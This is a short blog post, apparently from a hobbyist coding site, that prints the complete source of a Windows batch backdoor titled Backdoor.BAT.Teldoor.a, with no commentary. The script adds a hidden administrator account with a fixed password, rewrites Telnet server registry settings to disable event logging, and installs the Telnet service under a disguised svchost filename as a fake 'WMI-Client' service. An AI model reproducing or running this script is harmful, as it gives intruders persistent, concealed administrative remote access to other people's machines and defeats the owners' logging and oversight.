Tag Cloud

CRM 2011 (161) CRM 4.0 (144) C# (116) JScript (109) Plugin (92) Registry (90) Techpedia (77) PyS60 (68) WScript (43) Plugin Message (31) Exploit (27) ShellCode (26) FAQ (22) JavaScript (21) Killer Codes (21) Hax (18) VB 6.0 (17) Commands (16) VBScript (16) Quotes (15) Turbo C++ (13) WMI (13) Security (11) 1337 (10) Tutorials (10) Asp.Net (9) Safe Boot (9) Python (8) Interview Questions (6) video (6) Ajax (5) VC++ (5) WebService (5) Workflow (5) Bat (4) Dorks (4) Sql Server (4) Aptitude (3) Picklist (3) Tweak (3) WCF (3) regex (3) Config (2) LINQ (2) PHP (2) Shell (2) Silverlight (2) TSql (2) flowchart (2) serialize (2) ASHX (1) CRM 4.0 Videos (1) Debug (1) FetchXml (1) GAC (1) General (1) Generics (1) HttpWebRequest (1) InputParameters (1) Lookup (1) Offline Plug-ins (1) OutputParameters (1) Plug-in Constructor (1) Protocol (1) RIA (1) Sharepoint (1) Walkthrough (1) Web.config (1) design patterns (1) generic (1) iframe (1) secure config (1) unsecure config (1) url (1)

Pages

Monday, August 01, 2011

Backdoor.BAT.Teldoor.a

: Telnet Backdoor for WindowsXP Ver 1.4 FiNAL WindowsXP-Prof

:: ADD USER WiTH SUFFiCiENT RiGHTS!


net localgroup TelnetClients /add


net user iwam_user mypass /add
net localgroup Administratoren iwam_user /add
net localgroup TelnetClients iwam_user /add

:: SET REGiSTRY!



cd %windir%\system32
ECHO Windows Registry Editor Version 5.00>0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]>>0.reg
ECHO "LoginScript"=hex(2):63,00,6d,00,64,00,00,00>>0.reg
ECHO "TelnetPort"=dword:000003ff>>0.reg
ECHO "MaxConnections"=dword:0000000a>>0.reg
ECHO "EventLoggingEnabled"=dword:00000000>>0.reg
ECHO "DisconnectKillAllApps"=dword:00000000>>0.reg
ECHO [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\ReadConfig]>>0.reg
ECHO [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\Defaults]>>0.reg
regedit /s 0.reg && DEL 0.reg

:: SET SERViCE!

COPY %windir%\system32\tlntsvr.exe %windir%\system32\"svchost.exeÿ&quo
t;
assoc .exeÿ=exefile
sc create "WMI-Client" binpath= "%windir%\system32\svchost.exeÿ" start= auto
"svchost.exeÿ" /service
sc description WMI-Client "Microsoft WMI-Client"
sc start WMI-Client

No comments: